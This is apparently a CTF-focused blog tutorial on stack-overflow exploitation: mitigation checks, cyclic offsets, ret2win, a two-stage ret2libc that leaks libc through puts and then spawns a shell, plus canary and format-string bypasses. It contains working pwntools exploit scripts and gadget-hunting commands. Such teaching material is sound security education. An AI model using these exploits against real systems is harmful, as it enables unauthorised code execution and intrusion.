Skip to content
All posts
pwnJune 9, 20267 min read

From crash to shell: stack overflows, offsets, ret2win, and ret2libc

A segfault is not an exploit. The path from an unexpected crash to a controlled instruction pointer to a shell, with the mitigation checks that decide which technique you need and the stack-alignment detail that breaks working exploits.

Binary exploitation looks like the hardest CTF category and is actually the most mechanical. A stack overflow challenge has a fixed shape: find the crash, find the offset that controls the return address, decide what to point it at, and deal with whichever mitigations are enabled. The creativity lives in the last step, and only when the first three are automatic.

Step 0: check the mitigations

Before touching the binary, ask what it is protected by. The answer selects the technique, and running checksec first saves you from attempting an approach that cannot work.

MitigationWhat it doesWhat it forces
NX / DEPStack pages are non-executableNo shellcode on the stack; you need ROP or ret2libc
Stack canaryA random value before the saved return address, checked on returnLeak the canary first, or overflow through a path that never checks it
PIEThe binary itself is loaded at a random baseLeak a binary address before you can use any of its gadgets
ASLRLibraries and the stack move each runLeak a libc address; the low 12 bits of any address never change
RELRO (full)The GOT is read-only after startupNo GOT overwrite; overwrite a saved return address or a hook instead
checksec --file=./chal
file ./chal
strings ./chal | grep -iE 'flag|/bin/sh|system'
objdump -d --no-show-raw-insn -M intel ./chal | less
strings finding /bin/sh inside the binary is a very strong hint that the intended path is ret2libc or a one-gadget.

Step 1: find the offset with a cyclic pattern

You could count bytes by hand. Do not. A de Bruijn sequence is a string in which every substring of a given length appears exactly once, so when four or eight of its bytes land in the instruction pointer, the value tells you unambiguously where in the input those bytes came from.

from pwn import *

# 1. Send a unique pattern
p = process('./chal')
p.sendline(cyclic(200, n=8))
p.wait()

# 2. Read the faulting address out of the core dump
core = p.corefile
print(hex(core.rsp))
offset = cyclic_find(core.read(core.rsp, 8), n=8)
print('offset =', offset)   # bytes before the saved return address
Use n=8 on 64-bit targets. On x86-64 the crash usually happens at the ret, so the value to look up is at RSP rather than in RIP.

One subtlety that costs people a lot of time on x86-64: canonical addressing means the CPU refuses to jump to an address with a non-zero top 16 bits, so RIP often does not contain your pattern at all. The pattern is on the stack at the moment of the fault. Look at RSP, not RIP.

Step 2: ret2win, the simplest possible target

Many introductory challenges contain a function that prints the flag and is simply never called. Overwrite the saved return address with its address and it runs when the vulnerable function returns.

from pwn import *

elf = ELF('./chal')
p = process('./chal')

payload = flat({
    offset: elf.symbols['win']      # or 0x401236, straight from objdump
})
p.sendline(payload)
p.interactive()

If it segfaults *inside* win rather than failing to reach it, you have hit the alignment problem described further down - jump one instruction past the function’s prologue, or add a ret gadget before it.

Step 3: arguments, and why you need gadgets

On 32-bit x86, function arguments are pushed on the stack, so calling system("/bin/sh") is a matter of laying out the address of system, a fake return address, and a pointer to the string. On x86-64 the first six integer arguments go in registers - rdi, rsi, rdx, rcx, r8, r9 - and you cannot set a register by writing to the stack.

So you borrow instructions from the binary. A gadget is a short instruction sequence ending in ret; chaining them lets the stack drive execution. To pass one argument you need pop rdi; ret, which pops the next stack value into rdi and returns into whatever follows.

ROPgadget --binary ./chal | grep 'pop rdi'
# 0x0000000000401273 : pop rdi ; ret

ROPgadget --binary ./chal | grep ': ret$'
# 0x000000000040101a : ret        <- keep this one, you will need it

Step 4: ret2libc against ASLR

When NX is on and the binary contains nothing useful, call into libc - which contains system, execve, and the string /bin/sh. ASLR randomises where libc is loaded, but only its base: offsets within libc are fixed for a given build. Leak one libc address, subtract that symbol’s known offset, and you have the base for every other symbol.

The standard leak uses the binary’s own PLT and GOT. Call puts(puts@got) - puts prints the runtime address of puts - then return to main so you get a second round of input with the base now known.

from pwn import *

elf  = ELF('./chal')
libc = ELF('./libc.so.6')       # the exact libc the target runs
p    = remote('challenge.example', 1337)

POP_RDI = 0x401273
RET     = 0x40101a              # stack alignment, see below

# --- round one: leak puts' runtime address ---------------------------
p.recvuntil(b'> ')
p.sendline(flat({offset: [
    POP_RDI, elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main'],
]}))

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f’libc base = {libc.address:#x}')

# --- round two: system("/bin/sh") ------------------------------------
p.recvuntil(b'> ')
p.sendline(flat({offset: [
    RET,                                    # align the stack to 16 bytes
    POP_RDI, next(libc.search(b'/bin/sh\x00')),
    libc.symbols['system'],
]}))
p.interactive()

Identifying the remote libc

The offsets differ between libc builds, so a leak is only useful once you know which build the server runs. If the challenge did not provide the libc, leak two or three symbol addresses and look up the combination in a libc database - the last three hex digits of each address are unaffected by ASLR and identify the build almost uniquely.

When there is a canary

A canary sits between the local buffers and the saved return address, and the function checks it before returning. Overwriting it blindly aborts the process. Three standard ways through:

  • Leak it. A format-string bug or an over-read (printf(buf), a read with the wrong length, an uninitialised print) exposes the canary; write it back at the same position. The lowest byte of a glibc canary is always \x00, which is both a way to recognise it in a leak and the reason string functions stop there.
  • Fork servers. If the process forks per connection, the canary is identical in every child. Brute-force it one byte at a time: a wrong byte crashes, a right byte hangs on to the next read. Eight bytes at 256 tries each is 2048 requests worst case, not 2⁶⁴.
  • Do not return. Overwrite something else that gets used before the check - a function pointer, a saved base pointer used for a later stack pivot, or an argument to a later call.

Format strings, briefly

If user input reaches printf as the format argument, you have both a read and a write primitive. %p repeated walks the stack and leaks whatever is on it, including canaries and libc pointers. %n writes the number of characters printed so far to a pointed-at address, and %hn/%hhn write two bytes and one byte respectively so that you can construct an arbitrary value without printing four billion characters.

Positional specifiers make it practical: %7$p reads the seventh argument slot directly, so you can find your own buffer on the stack, place a target address there, and then write to it with %7$n.

A checklist for the whole class

  1. checksec and file. Note NX, canary, PIE, RELRO, and the architecture.
  2. Find the vulnerable read. gets, read with a wrong size, strcpy, scanf("%s").
  3. Cyclic pattern; recover the offset from RSP at the crash.
  4. Is there a win function? Take it.
  5. Otherwise: gadgets from the binary, /bin/sh and system from libc.
  6. PIE or ASLR on? Leak first, exploit second, and return to main to get another round of input.
  7. Add a ret gadget if anything crashes inside system.
  8. Test locally against the provided libc, then repoint at the remote.

Work through ROP Emporium in order and this stops being a checklist and starts being reflex. That is the entire learning curve of the category: eight techniques, each of which is obvious once you have implemented it once.

Further reading

  • ROP Emporium - Eight challenges, each isolating exactly one ROP technique. The best path into pwn
  • pwntools documentation - `cyclic`, `flat`, `ELF`, `ROP`, and the process/remote interface
  • Nightmare - A long, worked course of real CTF pwn challenges with full explanations
pwnbuffer-overflowropret2libcaslrpwntoolsbinary-exploitation